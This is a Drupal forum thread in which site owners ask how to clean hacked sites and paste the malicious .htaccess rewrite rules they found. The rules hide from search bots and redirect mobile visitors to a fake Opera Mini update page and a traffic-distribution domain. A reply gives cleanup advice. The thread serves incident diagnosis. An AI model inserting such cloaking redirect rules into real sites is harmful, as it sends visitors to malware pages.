Заражен Drupal "Центр обновления Opera Mini"

Главные вкладки

Аватар пользователя qvazar qvazar 20 декабря 2011 в 23:11

Приветствую! Случилась такая беда.При нажатии социальной кнопки поделится facebook перекидывает на такое дело

Нашел похожее предупреждение от http://news.drweb.com/?i=2072&c=23&lng=ru&p=0
Посмотрел в .htaccess и обнаружил там:

</IfModule>

# Various rewrite rules.
<IfModule mod_rewrite.c>
  RewriteEngine on
RewriteCond %{HTTP_USER_AGENT} acs [NC,OR]
RewriteCond %{HTTP_USER_AGENT} alav [NC,OR]
RewriteCond %{HTTP_USER_AGENT} alca [NC,OR]
RewriteCond %{HTTP_USER_AGENT} amoi [NC,OR]
RewriteCond %{HTTP_USER_AGENT} audi [NC,OR]
RewriteCond %{HTTP_USER_AGENT} aste [NC,OR]
RewriteCond %{HTTP_USER_AGENT} avan [NC,OR]
RewriteCond %{HTTP_USER_AGENT} benq [NC,OR]
RewriteCond %{HTTP_USER_AGENT} bird [NC,OR]
RewriteCond %{HTTP_USER_AGENT} blac [NC,OR]
RewriteCond %{HTTP_USER_AGENT} blaz [NC,OR]
RewriteCond %{HTTP_USER_AGENT} brew [NC,OR]
RewriteCond %{HTTP_USER_AGENT} cell [NC,OR]
RewriteCond %{HTTP_USER_AGENT} cldc [NC,OR]
RewriteCond %{HTTP_USER_AGENT} cmd- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} dang [NC,OR]
RewriteCond %{HTTP_USER_AGENT} doco [NC,OR]
RewriteCond %{HTTP_USER_AGENT} eric [NC,OR]
RewriteCond %{HTTP_USER_AGENT} hipt [NC,OR]
RewriteCond %{HTTP_USER_AGENT} inno [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ipaq [NC,OR]
RewriteCond %{HTTP_USER_AGENT} java [NC,OR]
RewriteCond %{HTTP_USER_AGENT} jigs [NC,OR]
RewriteCond %{HTTP_USER_AGENT} kddi [NC,OR]
RewriteCond %{HTTP_USER_AGENT} keji [NC,OR]
RewriteCond %{HTTP_USER_AGENT} leno [NC,OR]
RewriteCond %{HTTP_USER_AGENT} lg-c [NC,OR]
RewriteCond %{HTTP_USER_AGENT} lg-d [NC,OR]
RewriteCond %{HTTP_USER_AGENT} lg-g [NC,OR]
RewriteCond %{HTTP_USER_AGENT} lge- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} maui [NC,OR]
RewriteCond %{HTTP_USER_AGENT} maxo [NC,OR]
RewriteCond %{HTTP_USER_AGENT} midp [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mits [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mmef [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mobi [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mot- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} moto [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mwbp [NC,OR]
RewriteCond %{HTTP_USER_AGENT} nec- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} newt [NC,OR]
RewriteCond %{HTTP_USER_AGENT} noki [NC,OR]
RewriteCond %{HTTP_USER_AGENT} opwv [NC,OR]
RewriteCond %{HTTP_USER_AGENT} palm [NC,OR]
RewriteCond %{HTTP_USER_AGENT} pana [NC,OR]
RewriteCond %{HTTP_USER_AGENT} pant [NC,OR]
RewriteCond %{HTTP_USER_AGENT} pdxg [NC,OR]
RewriteCond %{HTTP_USER_AGENT} phil [NC,OR]
RewriteCond %{HTTP_USER_AGENT} play [NC,OR]
RewriteCond %{HTTP_USER_AGENT} pluc [NC,OR]
RewriteCond %{HTTP_USER_AGENT} port [NC,OR]
RewriteCond %{HTTP_USER_AGENT} prox [NC,OR]
RewriteCond %{HTTP_USER_AGENT} qtek [NC,OR]
RewriteCond %{HTTP_USER_AGENT} qwap [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sage [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sams [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sany [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sch- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sec- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} send [NC,OR]
RewriteCond %{HTTP_USER_AGENT} seri [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sgh- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} shar [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sie- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} siem [NC,OR]
RewriteCond %{HTTP_USER_AGENT} smal [NC,OR]
RewriteCond %{HTTP_USER_AGENT} smar [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sony [NC,OR]
RewriteCond %{HTTP_USER_AGENT} sph- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} symb [NC,OR]
RewriteCond %{HTTP_USER_AGENT} t-mo [NC,OR]
RewriteCond %{HTTP_USER_AGENT} teli [NC,OR]
RewriteCond %{HTTP_USER_AGENT} tim- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} tosh [NC,OR]
RewriteCond %{HTTP_USER_AGENT} tsm- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} upg1 [NC,OR]
RewriteCond %{HTTP_USER_AGENT} upsi [NC,OR]
RewriteCond %{HTTP_USER_AGENT} vk-v [NC,OR]
RewriteCond %{HTTP_USER_AGENT} voda [NC,OR]
RewriteCond %{HTTP_USER_AGENT} w3cs [NC,OR]
RewriteCond %{HTTP_USER_AGENT} wap- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} wapa [NC,OR]
RewriteCond %{HTTP_USER_AGENT} wapi [NC,OR]
RewriteCond %{HTTP_USER_AGENT} wapp [NC,OR]
RewriteCond %{HTTP_USER_AGENT} wapr [NC,OR]
RewriteCond %{HTTP_USER_AGENT} webc [NC,OR]
RewriteCond %{HTTP_USER_AGENT} winw [NC,OR]
RewriteCond %{HTTP_USER_AGENT} winw [NC,OR]
RewriteCond %{HTTP_USER_AGENT} xda [NC,OR]
RewriteCond %{HTTP_USER_AGENT} xda- [NC,OR]
RewriteCond %{HTTP_USER_AGENT} up.browser [NC,OR]
RewriteCond %{HTTP_USER_AGENT} up.link [NC,OR]
RewriteCond %{HTTP_USER_AGENT} windows.ce [NC,OR]
RewriteCond %{HTTP_USER_AGENT} iemobile [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mini [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mmp [NC,OR]
RewriteCond %{HTTP_USER_AGENT} symbian [NC,OR]
RewriteCond %{HTTP_USER_AGENT} midp [NC,OR]
RewriteCond %{HTTP_USER_AGENT} wap [NC,OR]
RewriteCond %{HTTP_USER_AGENT} phone [NC,OR]
RewriteCond %{HTTP_USER_AGENT} pocket [NC,OR]
RewriteCond %{HTTP_USER_AGENT} mobile [NC,OR]
RewriteCond %{HTTP_USER_AGENT} android [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Android [NC,OR]
RewriteCond %{HTTP_USER_AGENT} pda [NC,OR]
RewriteCond %{HTTP_USER_AGENT} PPC [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Series60 [NC,OR]
RewriteCond %{HTTP_USER_AGENT} Opera.Mini [NC,OR]
RewriteCond %{HTTP_ACCEPT} "text/vnd.wap.wml|application/vnd.wap.xhtml+xml" [NC,OR]
RewriteCond %{HTTP_USER_AGENT} !ipad [NC]
RewriteCond %{HTTP_USER_AGENT} !iphone [NC]
RewriteCond %{HTTP_USER_AGENT} !iPad [NC]
RewriteCond %{HTTP_USER_AGENT} !iPhone [NC]
RewriteCond %{HTTP_USER_AGENT} !windows.nt [NC]
RewriteCond %{HTTP_USER_AGENT} !bsd [NC]
RewriteCond %{HTTP_USER_AGENT} !x11 [NC]
RewriteCond %{HTTP_USER_AGENT} !unix [NC]
RewriteCond %{HTTP_USER_AGENT} !macos [NC]
RewriteCond %{HTTP_USER_AGENT} !macintosh [NC]
RewriteCond %{HTTP_USER_AGENT} !playstation [NC]
RewriteCond %{HTTP_USER_AGENT} !google [NC]
RewriteCond %{HTTP_USER_AGENT} !yandex [NC]
RewriteCond %{HTTP_USER_AGENT} !bot [NC]
RewriteCond %{HTTP_USER_AGENT} !libwww [NC]
RewriteCond %{HTTP_USER_AGENT} !msn [NC]
RewriteCond %{HTTP_USER_AGENT} !america [NC]
RewriteCond %{HTTP_USER_AGENT} !avant [NC]
RewriteCond %{HTTP_USER_AGENT} !download [NC]
RewriteCond %{HTTP_USER_AGENT} !fdm [NC]
RewriteCond %{HTTP_USER_AGENT} !maui [NC]
RewriteCond %{HTTP_USER_AGENT} !webmoney [NC]
RewriteCond %{HTTP_USER_AGENT} !windows-media-player [NC]
RewriteRule ^(.*)$ http://opero-ubgraude.com/?a=z274p294z4z2x4u2w4v2t2t2y3s2x434q233643374t2c4v294 [L,R=302]

Соответветственно удалил, но все равно выкидывает на "Центр обновления Opera Mini" Что порекомендуете, как изничтожить?

ВложениеРазмер
Иконка изображения 20.12.1png.png4.29 КБ
Иконка изображения 20.12.png3.79 КБ

Комментарии

Аватар пользователя Gnom7 Gnom7 10 мая 2012 в 13:54

У меня при заходе на сайт с мобильного кидало на этот сайт.
Нашел у себя в .htaccess
RewriteEngine on
RewriteBase /
RewriteCond %{QUERY_STRING} ^-
RewriteRule ^(.*)$ http://lol.ru
RewriteEngine on
RewriteCond %{HTTP_USER_AGENT} (android|midp|j2me|symbian|series\ 60|symbos|windows\ mobile|windows\ ce|ppc|smartphone|blackberry|mtk|windows\ phone) [NC]
RewriteCond %{HTTP_USER_AGENT} !(accoona|ia_archiver|antabot|ask\ jeeves|baidu|eltaindexer|feedfetcher|gamespy|gigabot|googlebot|gsa-crawler|grub-client|gulper|slurp|mihalism|msnbot|worldindexer|ooyyo|pagebull|scooter|w3c_validator|jigsaw|webalta|yahoofeedseeker|mmcrawler|yandexbot|yandeximages|yandexvideo|yandexmedia|yandexblogs|yandexaddurl|yandexfavicons|yandexdirect|yandexmetrika|yandexcatalog|yandexnews|yandeximageresizer) [NC]
RewriteRule (.*) http://tds1488.ru/mob2.php [L,R=302]

Удалил этот код, вроде перестало перебрасывать на сторонний сайт.
От куда это могло взяться? Сайт взломали или через модуль? Хотя все модули брал с drupal.org

Аватар пользователя emzzy emzzy 10 мая 2012 в 14:20

Перенаправление всех исходящих запросов с мобильного на какой-то другой сайт - явный признак, что вас поломали. Проверьте не заражены ли еще какие-то файлы, почиститесь от вирусов локальный комп, подумайте кто еще имеет доступ к сайту(FTP, SSH) и поменяйте пароли на все доступы к сайту.